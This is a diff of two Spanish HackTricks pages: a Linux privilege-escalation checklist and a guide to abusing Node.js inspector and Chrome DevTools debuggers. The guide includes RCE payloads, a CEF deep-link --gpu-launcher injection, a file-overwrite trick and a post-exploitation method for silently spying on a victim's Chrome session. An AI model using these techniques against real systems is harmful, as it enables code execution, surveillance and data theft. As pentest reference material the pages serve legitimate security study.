* [ ] ¿Algún archivo **.service escribible**? * [ ] ¿Algún archivo **.service** **escribible**?
* [ ] ¿Algún binario **escribible** ejecutado por un **servicio**? * [ ] ¿Algún **binario escribible** ejecutado por un **servicio**?
* [ ] ¿Algún **carpeta escribible en la RUTA de systemd**? * [ ] ¿Alguna **carpeta escribible en el PATH de systemd**?
### [Temporizadores](privilege-escalation/#timers) ### [Temporizadores](privilege-escalation/#timers)
@ -81,7 +82,7 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
### [Sockets](privilege-escalation/#sockets) ### [Sockets](privilege-escalation/#sockets)
* [ ] ¿Algún archivo **.socket escribible**? * [ ] ¿Algún archivo **.socket** **escribible**?
* [ ] ¿Puedes **comunicarte con algún socket**? * [ ] ¿Puedes **comunicarte con algún socket**?
* [ ] ¿**Sockets HTTP** con información interesante? * [ ] ¿**Sockets HTTP** con información interesante?
@ -92,105 +93,107 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
### [Red](privilege-escalation/#network) ### [Red](privilege-escalation/#network)
* [ ] Enumerar la red para saber dónde estás * [ ] Enumerar la red para saber dónde estás
* [ ] ¿Puertos abiertos a los que no podías acceder antes de obtener una shell dentro de la máquina? * [ ] **¿Puertos abiertos a los que no pudiste acceder antes** de obtener una shell dentro de la máquina?
* [ ] ¿Puedes **espiar el tráfico** usando `tcpdump`? * [ ] ¿Puedes **capturar tráfico** usando `tcpdump`?
### [Usuarios](privilege-escalation/#users) ### [Usuarios](privilege-escalation/#users)
* [ ] Enumeración de usuarios/grupos **genéricos** * [ ] Enumeración de usuarios/grupos **genéricos**
* [ ] ¿Tienes un **UID muy grande**? ¿Es **vulnerable** la **máquina**? * [ ] ¿Tienes un **UID muy grande**? ¿Es la **máquina** **vulnerable**?
* [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/) al que perteneces? * [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/) al que perteneces?
* [ ] ¿Datos del **portapapeles**? * [ ] ¿Datos del **portapapeles**?
* [ ] ¿Política de contraseñas? * [ ] ¿Política de Contraseñas?
* [ ] Intenta **usar** todas las **contraseñas conocidas** que hayas descubierto previamente para iniciar sesión **con cada** usuario **posible**. Intenta iniciar sesión también sin una contraseña. * [ ] Intenta **usar** cada **contraseña conocida** que hayas descubierto previamente para iniciar sesión **con cada** posible **usuario**. Intenta iniciar sesión también sin una contraseña.
### [RUTA Escribible](privilege-escalation/#writable-path-abuses) ### [PATH Escribible](privilege-escalation/#writable-path-abuses)
* [ ] Si tienes **privilegios de escritura sobre alguna carpeta en la RUTA** podrías ser capaz de escalar privilegios * [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH** podrías ser capaz de escalar privilegios
### [Comandos SUDO y SUID](privilege-escalation/#sudo-and-suid) ### [Comandos SUDO y SUID](privilege-escalation/#sudo-and-suid)
* [ ] ¿Puedes ejecutar **cualquier comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] ¿Puedes ejecutar **cualquier comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] ¿Hay algún **binario SUID explotable**? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] ¿Hay algún **binario SUID explotable**? ([**GTFOBins**](https://gtfobins.github.io))
* ¿Están **limitados los comandos de sudo** por **RUTA**? ¿Puedes **burlar** las restricciones](privilege-escalation/#sudo-execution-bypassing-paths)? * [ ] ¿Los [**comandos sudo** están **limitados** por **path**? ¿Puedes **eludir** las restricciones](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**Binario Sudo/SUID sin ruta indicada**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? * [ ] [**Binario Sudo/SUID sin path indicado**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [ ] [**Binario SUID especificando ruta**](privilege-escalation/#suid-binary-with-command-path)? Burlar * [ ] [**Binario SUID especificando path**](privilege-escalation/#suid-binary-with-command-path)? Eludir
* [ ] [**Vulnerabilidad LD\_PRELOAD**](privilege-escalation/#ld\_preload) * [ ] [**Vuln de LD\_PRELOAD**](privilege-escalation/#ld\_preload)
* [ ] [**Falta de biblioteca .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) desde una carpeta escribible? * [ ] [**Falta de .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) de una carpeta escribible?
* [ ] [**Tokens SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens)? [**¿Puedes crear un token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? * [ ] [**Tokens SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens)? [**¿Puedes crear un token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? * [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? * [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**Comando OpenBSD DOAS**](privilege-escalation/#doas) * [ ] [**Comando OpenBSD DOAS**](privilege-escalation/#doas)
### [Capacidades](privilege-escalation/#capabilities) ### [Capacidades](privilege-escalation/#capabilities)
* [ ] ¿Tiene algún binario alguna **capacidad inesperada**? * [ ] ¿Algún binario tiene alguna **capacidad inesperada**?
### [ACLs](privilege-escalation/#acls) ### [ACLs](privilege-escalation/#acls)
* [ ] ¿Tiene algún archivo algún **ACL inesperado**? * [ ] ¿Algún archivo tiene alguna **ACL inesperada**?
### [Sesiones de Shell abiertas](privilege-escalation/#open-shell-sessions) ### [Sesiones de Shell Abiertas](privilege-escalation/#open-shell-sessions)
* [ ] **screen** * [ ] **screen**
* [ ] **tmux** * [ ] **tmux**
### [SSH](privilege-escalation/#ssh) ### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) * [ ] **Debian** [**OpenSSL PRNG predecible - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**Valores de configuración de SSH interesantes**](privilege-escalation/#ssh-interesting-configuration-values) * [ ] [**Valores de configuración interesantes de SSH**](privilege-escalation/#ssh-interesting-configuration-values)
### [Archivos interesantes](privilege-escalation/#interesting-files) ### [Archivos Interesantes](privilege-escalation/#interesting-files)
* [ ] **Archivos de perfil** - ¿Lee datos sensibles? ¿Escribe para escalada de privilegios? * [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para privesc?
* [ ] Archivos **passwd/shadow** - ¿Lee datos sensibles? ¿Escribe para escalada de privilegios? * [ ] **Archivos passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para privesc?
* [ ] **Verifique carpetas comúnmente interesantes** en busca de datos sensibles * [ ] **Verificar carpetas comúnmente interesantes** en busca de datos sensibles
* [ ] **Ubicación/archivos extraños,** a los que puede tener acceso o alterar archivos ejecutables * [ ] **Ubicación/Archivos extraños,** a los que podrías tener acceso o alterar archivos ejecutables
* [ ] **Modificados** en los últimos minutos * [ ] **Modificados** en los últimos minutos
* [ ] Archivos de **base de datos Sqlite** * [ ] **Archivos de base de datos Sqlite**
* [ ] **Archivos ocultos** * [ ] **Archivos ocultos**
* [ ] **Scripts/Binarios en PATH** * [ ] **Scripts/Binarios en PATH**
* [ ] **Archivos web** (¿contraseñas?) * [ ] **Archivos web** (¿contraseñas?)
* [ ] **Copias de seguridad**? * [ ] **¿Copias de seguridad?**
* [ ] **Archivos conocidos que contienen contraseñas**: Usar **Linpeas** y **LaZagne** * [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**
* [ ] **Búsqueda genérica** * [ ] **Búsqueda genérica**
### [**Archivos escribibles**](privilege-escalation/#writable-files) ### [**Archivos Escribibles**](privilege-escalation/#writable-files)
* [ ] ¿Modificar biblioteca de Python para ejecutar comandos arbitrarios? * [ ] **Modificar biblioteca de python** para ejecutar comandos arbitrarios?
* [ ] ¿Puede **modificar archivos de registro**? Exploit de **Logtotten** * [ ] ¿Puedes **modificar archivos de registro**? **Explotación Logtotten**
* [ ] ¿Puede **modificar /etc/sysconfig/network-scripts/**? Exploit de Centos/Redhat * [ ] ¿Puedes **modificar /etc/sysconfig/network-scripts/**? Explotación Centos/Redhat
* [ ] ¿Puede [**escribir en archivos ini, int.d, systemd o rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)? * [ ] ¿Puedes [**escribir en archivos ini, int.d, systemd o rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**Otros trucos**](privilege-escalation/#other-tricks) ### [**Otros trucos**](privilege-escalation/#other-tricks)
* [ ] ¿Puede **abusar de NFS para escalar privilegios**](privilege-escalation/#nfs-privilege-escalation)? * [ ] ¿Puedes [**abusar de NFS para escalar privilegios**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] ¿Necesita **escapar de un shell restrictivo**](privilege-escalation/#escaping-from-restricted-shells)? * [ ] ¿Necesitas [**escapar de un shell restrictivo**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs! Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\ **Perspectivas de Hacking**\
Involúcrate con contenido que explora la emoción y los desafíos del hacking Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# Abuso del depurador Node inspector/CEF # Abuso del depurador de Node inspector/CEF
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
[Desde la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. A cada proceso también se le asigna un **UUID** **único**. [De la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. A cada proceso también se le asigna un **UUID** **único**.
Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo así como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo así como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
{% hint style="warning" %} {% hint style="warning" %}
Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso capaz de conectarse a este puerto puede ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**). Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso capaz de conectarse a este puerto puede ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**).
{% endhint %} {% endhint %}
Hay varias formas de iniciar un inspector: Hay varias formas de iniciar un inspector:
@ -40,34 +41,34 @@ Cuando inicias un proceso inspeccionado, algo como esto aparecerá:
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector For help, see: https://nodejs.org/en/docs/inspector
``` ```
Los procesos basados en **CEF** (**Chromium Embedded Framework**) como necesitan usar el parámetro: `--remote-debugging-port=9222` para abrir el **depurador** (las protecciones SSRF siguen siendo muy similares). Sin embargo, en lugar de conceder una sesión de **depuración** de **NodeJS**, se comunicarán con el navegador utilizando el [**Protocolo de Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/), esta es una interfaz para controlar el navegador, pero no hay una RCE directa. Los procesos basados en **CEF** (**Chromium Embedded Framework**) necesitan usar el parámetro: `--remote-debugging-port=9222` para abrir el **debugger** (las protecciones SSRF permanecen muy similares). Sin embargo, **en lugar de** otorgar una sesión de **debug** de **NodeJS**, se comunicarán con el navegador utilizando el [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), esta es una interfaz para controlar el navegador, pero no hay un RCE directo.
Cuando inicies un navegador depurado, algo como esto aparecerá: Cuando inicias un navegador en modo depuración, aparecerá algo como esto:
``` ```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
``` ```
### Navegadores, WebSockets y política de misma origen <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a> ### Browsers, WebSockets y política de mismo origen <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
Los sitios web abiertos en un navegador web pueden realizar solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Una **conexión HTTP inicial** es necesaria para **obtener un identificador de sesión de depuración único**. La **política de misma origen** **evita** que los sitios web puedan realizar **esta conexión HTTP**. Para una seguridad adicional contra [**ataques de reenvío de DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifica que los encabezados de **'Host'** para la conexión especifiquen una **dirección IP** o **`localhost`** o **`localhost6`** con precisión. Los sitios web abiertos en un navegador web pueden hacer solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Una **conexión HTTP inicial** es necesaria para **obtener un id de sesión de depurador único**. La **política de mismo origen** **previene** que los sitios web puedan hacer **esta conexión HTTP**. Para mayor seguridad contra [**ataques de reencaminamiento DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifica que los **encabezados 'Host'** para la conexión especifiquen ya sea una **dirección IP** o **`localhost`** o **`localhost6`** precisamente.
{% hint style="info" %} {% hint style="info" %}
Estas **medidas de seguridad evitan explotar el inspector** para ejecutar código **simplemente enviando una solicitud HTTP** (lo cual podría hacerse explotando una vulnerabilidad SSRF). Estas **medidas de seguridad previenen la explotación del inspector** para ejecutar código **simplemente enviando una solicitud HTTP** (lo que podría hacerse explotando una vulnerabilidad SSRF).
{% endhint %} {% endhint %}
### Iniciando el inspector en procesos en ejecución ### Iniciando el inspector en procesos en ejecución
Puedes enviar la **señal SIGUSR1** a un proceso nodejs en ejecución para que **inicie el inspector** en el puerto predeterminado. Sin embargo, ten en cuenta que necesitas tener suficientes privilegios, por lo que esto podría otorgarte **acceso privilegiado a la información dentro del proceso** pero no una escalada directa de privilegios. Puedes enviar la **señal SIGUSR1** a un proceso nodejs en ejecución para hacer que **inicie el inspector** en el puerto predeterminado. Sin embargo, ten en cuenta que necesitas tener suficientes privilegios, por lo que esto podría otorgarte **acceso privilegiado a información dentro del proceso** pero no una escalada de privilegios directa.
```bash ```bash
kill -s SIGUSR1 <nodejs-ps> kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
``` ```
{% hint style="info" %} {% hint style="info" %}
Esto es útil en contenedores porque **detener el proceso y comenzar uno nuevo** con `--inspect` no es una **opción** ya que el **contenedor** será **detenido** con el proceso. Esto es útil en contenedores porque **detener el proceso y comenzar uno nuevo** con `--inspect` **no es una opción** porque el **contenedor** será **eliminado** junto con el proceso.
{% endhint %} {% endhint %}
### Conectar al inspector/debugger ### Conectar al inspector/debugger
Para conectarse a un **navegador basado en Chromium**, se pueden acceder a las URL `chrome://inspect` o `edge://inspect` para Chrome o Edge, respectivamente. Al hacer clic en el botón de Configurar, se debe asegurar que el **host y puerto objetivo** estén listados correctamente. La imagen muestra un ejemplo de Ejecución Remota de Código (RCE): Para conectarse a un **navegador basado en Chromium**, se pueden acceder a las URLs `chrome://inspect` o `edge://inspect` para Chrome o Edge, respectivamente. Al hacer clic en el botón Configurar, se debe asegurar que el **host y puerto objetivo** estén correctamente listados. La imagen muestra un ejemplo de Ejecución Remota de Código (RCE):
![](<../../.gitbook/assets/image (674).png>) ![](<../../.gitbook/assets/image (674).png>)
@ -78,7 +79,7 @@ node inspect 127.0.0.1:9229
# RCE example from debug console # RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
``` ```
La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), permite **encontrar inspectores** que se estén ejecutando localmente e **inyectar código** en ellos. La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) permite **encontrar inspectores** que se ejecutan localmente y **inyectar código** en ellos.
```bash ```bash
#List possible vulnerable sockets #List possible vulnerable sockets
./cefdebug.exe ./cefdebug.exe
@ -88,40 +89,42 @@ La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/tavis
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
``` ```
{% hint style="info" %} {% hint style="info" %}
Ten en cuenta que los exploits de **RCE de NodeJS no funcionarán** si estás conectado a un navegador a través del [**Protocolo de Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/) (debes revisar la API para encontrar cosas interesantes que hacer con ella). Nota que **los exploits de RCE de NodeJS no funcionarán** si están conectados a un navegador a través del [**Protocolo de DevTools de Chrome**](https://chromedevtools.github.io/devtools-protocol/) (necesitas revisar la API para encontrar cosas interesantes que hacer con ella).
{% endhint %} {% endhint %}
## RCE en NodeJS Debugger/Inspector ## RCE en el Depurador/Inspector de NodeJS
{% hint style="info" %} {% hint style="info" %}
Si llegaste aquí buscando cómo obtener **RCE desde un XSS en Electron, por favor revisa esta página.** Si llegaste aquí buscando cómo obtener [**RCE de un XSS en Electron, por favor revisa esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endhint %} {% endhint %}
Algunas formas comunes de obtener **RCE** cuando puedes **conectarte** a un **inspector** de Node es utilizando algo como (parece que esto **no funcionará en una conexión al protocolo de Chrome DevTools**): Algunas formas comunes de obtener **RCE** cuando puedes **conectarte** a un **inspector** de Node es usando algo como (parece que esto **no funcionará en una conexión al protocolo de DevTools de Chrome**):
```javascript ```javascript
process.mainModule.require('child_process').exec('calc') process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe') require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
``` ```
## Cargas del Protocolo Chrome DevTools ## Chrome DevTools Protocol Payloads
Puedes revisar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ Puedes consultar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
En esta sección simplemente listaré cosas interesantes que encuentre que la gente haya utilizado para explotar este protocolo. En esta sección solo listaré cosas interesantes que he encontrado que la gente ha utilizado para explotar este protocolo.
### Inyección de Parámetros a través de Enlaces Profundos ### Inyección de Parámetros a través de Deep Links
En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino Security descubrió que una aplicación basada en CEF **registraba un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI. En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI.
Se descubrió que los parámetros del URI eran decodificados de URL y utilizados para lanzar la aplicación básica de CEF, lo que permitía a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias. Se descubrió que los parámetros del URI eran decodificados y utilizados para lanzar la aplicación básica de CEF, permitiendo a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias.
Entonces, una carga útil como: Así que, una carga útil como:
``` ```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
``` ```
### Sobrescribir archivos Ejecutará un calc.exe.
Cambie la carpeta donde se van a guardar los **archivos descargados** y descargue un archivo para **sobrescribir** el **código fuente** frecuentemente utilizado de la aplicación con su **código malicioso**. ### Sobrescribir Archivos
Cambia la carpeta donde **se van a guardar los archivos descargados** y descarga un archivo para **sobrescribir** el **código fuente** de la aplicación que se usa con frecuencia con tu **código malicioso**.
```javascript ```javascript
ws = new WebSocket(url); //URL of the chrome devtools service ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({ ws.send(JSON.stringify({
@ -133,13 +136,13 @@ downloadPath: '/code/'
} }
})); }));
``` ```
### RCE y exfiltración de Webdriver ### Webdriver RCE y exfiltración
Según esta publicación: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) es posible obtener RCE y exfiltrar páginas internas desde el controlador. Según esta publicación: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) es posible obtener RCE y exfiltrar páginas internas de theriver.
### Post-Explotación ### Post-Explotación
En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, podrías lanzar un proceso de Chrome con la **depuración activada y reenviar el puerto de depuración** para poder acceder a él. De esta manera podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**. En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, podrías lanzar un proceso de Chrome con **la depuración activada y redirigir el puerto de depuración** para que puedas acceder a él. De esta manera, podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**.
La forma sigilosa es **terminar cada proceso de Chrome** y luego llamar a algo como La forma sigilosa es **terminar cada proceso de Chrome** y luego llamar a algo como
```bash ```bash
@ -158,16 +161,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves) * [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) * [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
